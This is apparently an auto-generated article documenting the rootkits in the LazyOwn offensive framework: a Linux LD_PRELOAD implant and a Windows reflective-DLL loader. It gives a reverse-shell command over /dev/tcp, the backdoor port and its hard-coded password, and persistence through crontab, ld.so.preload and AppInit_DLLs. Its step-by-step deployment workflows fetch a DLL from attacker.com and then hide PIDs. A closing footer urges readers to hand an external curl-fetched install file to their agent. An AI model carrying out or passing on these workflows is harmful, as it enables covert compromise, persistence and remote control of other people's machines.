LazyOwn Rootkit Capabilities and Implementation Details: Linux LD_PRELOAD vs Windows Reflective DLL
LazyOwn bundles two native rootkits—a Linux LD_PRELOAD-based shared object and a Windows reflective-DLL loader—that provide modular command-and-control implants with process hiding, in-memory file storage, reverse shells, and multiple persistence mechanisms.
The LazyOwn framework, maintained by grisuno/lazyown, ships with dual-platform rootkit capabilities designed for post-exploitation persistence and stealth. Both the Linux and Windows implementations are compiled on-the-fly from C source files located in modules/rootkit/ and modules/win_rootkit/, then deployed through the main Python CLI. These components provide attackers with a unified interface for fileless operations, process concealment, and system manipulation across operating systems.
Linux Rootkit Implementation (LD_PRELOAD)
The Linux rootkit operates as a shared object that hijacks library calls via the LD_PRELOAD mechanism, enabling it to intercept and modify system behavior without kernel modifications.
Compilation and Loading Mechanism
The framework triggers compilation through the c2 command in lazyown.py. The build process executes gcc -fPIC -shared -o sessions/mrhyde.so -ldl sessions/mrhyde.c to generate the malicious shared object (lines 11158-11164). Once compiled, the rootkit loads via dlopen(DESIRED_LD_PRELOAD, RTLD_NOW) where DESIRED_LD_PRELOAD points to /home/.grisun0/mrhyde.so as defined in the load_rootkit function within modules/rootkit/mr.c (lines 301-309).
The library supports multiple injection vectors, including global environment manipulation through /etc/profile and /etc/ld.so.preload, allowing system-wide preloading without requiring direct process attachment.
Command and Control Interface
After successful authentication, the rootkit exposes a TCP listener on port 31337 that requires the hard-coded password grisiscomebacksayknokknok. Upon validation, victims receive a custom prompt (%>) and access to a command array defined in modules/rootkit/mr.c (lines 61-80):
- WRITE, READ, DELETE, DIR: In-memory file operations
- REV: Spawns reverse shells via
nohup bash -i >& /dev/tcp/<ip>/<port> 0>&1 - HIDE: Conceals specific PIDs from process listings
- INFECT: Installs the rootkit via
LD_PRELOADpersistence - CLEAN, UNLOAD: Removes artifacts and calls
dlclosefor self-cleanup
Persistence and Stealth Features
The persist function in modules/rootkit/mr.c (lines 32-44) implements multiple autostart mechanisms:
- XDG autostart: Writes
.desktopentries to user configuration directories - Crontab: Adds
@rebootentries for automatic execution - KDE Plasma: Targets desktop-specific autostart paths
- Library masquerading: Copies the payload to
$HOME/.cache/libssh/libsshto mimic legitimate SSH libraries
Process hiding stores target PIDs in /dev/shm/pid, accessible through the HIDE command to filter entries from /proc listings.
Windows Rootkit Implementation (Reflective DLL)
The Windows variant employs reflective DLL injection, eliminating dependencies on the Windows loader and avoiding filesystem artifacts during initial execution.
Reflective Loading Architecture
The ReflectiveLoadDLL function in modules/win_rootkit/win_ring3_rootkit.c (lines 97-138) manually parses PE headers, maps sections into executable memory, resolves import address tables, and calls DllMain before executing exported functions like RunExperiment. This technique allows the rootkit to load entirely from memory without registering with the Process Environment Block (PEB) or appearing in loaded module lists.
The implementation supports downloading the malicious DLL via DownloadDLL (lines 77-89) and staging it in memory using the same VirtualFile structure found in the Linux version, enabling fileless operation during the initial compromise phase.
Registry Persistence via AppInit_DLLs
Windows persistence leverages the AddDllToAppInitDLLs function (lines 89-101) to modify the AppInit_DLLs registry key, forcing the operating system to load the malicious DLL into every process that imports user32.dll. This provides system-wide injection without requiring service installation or scheduled task creation, though the framework retains capabilities for additional persistence layers through Windows services.
Cross-Platform Command Parity
The Windows rootkit mirrors the Linux command structure while adding platform-specific operations defined in modules/win_rootkit/win_ring3_rootkit.c (lines 51-68):
- INFECT: Injects the DLL into running processes via reflective loading
- MRHYDE: Downloads the Windows DLL variant (
.dllextension versus Linux.so) - ADD_DLL_TO_APPINIT: Explicitly triggers registry-based persistence
- HIDE: Enumerates processes using
tasklistand manipulates visibility to conceal specific PIDs from enumeration APIs
Both implementations share the same authentication mechanism (port 31337 with hard-coded password) and command interpreter architecture, ensuring operational consistency across target platforms.
Core Rootkit Features (Both Platforms)
In-Memory File Storage System
Both rootkits implement a VirtualFile structure backed by a static array mem_storage[MAX_COMMANDS] that maintains arbitrary data entirely in RAM. This fileless storage system supports:
- WRITE: Staging payloads without touching disk
- READ: Retrieving stored data or configuration
- DELETE: Secure removal without forensic artifacts
- DIR: Listing in-memory objects
This capability enables attackers to store secondary payloads, exfiltrated data, or configuration files without creating filesystem artifacts detectable by standard disk forensics.
Process Hiding Capabilities
The HIDE command on both platforms accepts PID arguments and manipulates process visibility. On Linux, this filters /proc entries from enumeration utilities, while the Windows variant intercepts process enumeration APIs. Hidden processes remain accessible via direct PID reference but disappear from ps, tasklist, and Task Manager displays, allowing persistent backdoors to survive casual system inspection.
Reverse Shell Execution
The REV command implements platform-appropriate reverse shell mechanisms. The Linux rootkit executes nohup bash -i >& /dev/tcp/<ip>/<port> 0>&1 for standard TCP redirection, while the Windows version leverages PowerShell or cmd.exe equivalents within the reflective loader context. Both implementations support dynamic IP and port specification through the command interpreter, enabling immediate callback establishment post-compromise.
Operational Workflow Examples
Deploying the Linux Rootkit
From the LazyOwn CLI, compile and deploy the agent:
# Compile the rootkit shared object
c2 victim-01 1
# On the compromised Linux host, download and activate
mrhyde # Downloads mr.c compiled as mrhyde.so
load # Executes dlopen() on the shared object
rev 192.168.1.100:4444 # Establishes reverse shell
hide 1234 # Conceals PID 1234 from process listings
infect # Installs LD_PRELOAD persistence
The c2 command sets rootkit = sessions/mrhyde.so and triggers the GCC compilation shown in lazyown.py (lines 11158-11164).
Deploying the Windows Rootkit
For Windows targets, use the reflective DLL workflow:
# Compile Windows agent variant
c2 victim-01 3
# On the compromised Windows host
mrhyde https://attacker.com/mrhyde.dll # Stage the reflective DLL
infect C:\Windows\System32\mrhyde.dll # Add to AppInit_DLLs registry
load # Trigger ReflectiveLoadDLL
rev 10.0.0.5:5555 # Spawn reverse shell
hide 4321 # Hide target PID
This sequence invokes DownloadDLL, ReflectiveLoadDLL, and AddDllToAppInitDLLs from modules/win_rootkit/win_ring3_rootkit.c (lines 77-138).
Summary
- Dual-platform architecture: LazyOwn provides native rootkits for both Linux (
modules/rootkit/mr.c) and Windows (modules/win_rootkit/win_ring3_rootkit.c) using platform-appropriate loading mechanisms. - Dynamic compilation: The
c2command inlazyown.py(lines 11158-11164) compiles C source on-the-fly using GCC with-fPIC -sharedflags for Linux and cross-compilation for Windows DLLs. - Fileless operation: Both implementations use
VirtualFilestructures andmem_storagearrays to maintain data in RAM, eliminating disk artifacts for payloads and configuration. - Multiple persistence layers: Linux uses
LD_PRELOAD, XDG autostart, and crontab; Windows leveragesAppInit_DLLsregistry keys and reflective loading. - Unified command interface: Port 31337 with hard-coded password
grisiscomebacksayknokknokprovides access to 15+ commands including REV, HIDE, INFECT, and CLEAN across both platforms.
Frequently Asked Questions
How does the LazyOwn Linux rootkit achieve process hiding?
The Linux rootkit stores target PIDs in /dev/shm/pid and filters them from /proc enumeration when the HIDE command is executed. This prevents concealed processes from appearing in ps, top, or ls /proc output while maintaining the ability to interact with them via direct system calls, effectively masking backdoor processes from casual system inspection.
What is reflective DLL loading in the Windows rootkit?
The Windows implementation uses a custom ReflectiveLoadDLL function (lines 97-138 in win_ring3_rootkit.c) that manually maps the DLL into memory by parsing PE headers, resolving imports, and calling DllMain without using the Windows loader. This technique avoids registration in the Process Environment Block and enables fileless execution, as the DLL never touches disk during the loading process.
Can the rootkits persist across system reboots?
Yes. The Linux rootkit implements three persistence mechanisms through the persist function (lines 32-44 in mr.c): XDG autostart entries, crontab @reboot jobs, and KDE Plasma autostart files. The Windows rootkit adds the DLL path to the AppInit_DLLs registry key via AddDllToAppInitDLLs (lines 89-101), ensuring loading into every process that imports user32.dll after reboot.
What authentication protects the rootkit command interface?
Both rootkits implement a TCP listener on port 31337 that requires the hard-coded password grisiscomebacksayknokknok before granting access to the command interpreter. After authentication, users receive a %> prompt and can execute commands like REV for reverse shells, HIDE for process concealment, and CLEAN for self-removal.
Have a question about this repo?
These articles cover the highlights, but your codebase questions are specific. Give your agent direct access to the source. Share this with your agent to get started:
curl -s "https://instagit.com/install.md" Maintain an open-source project? Get it listed too →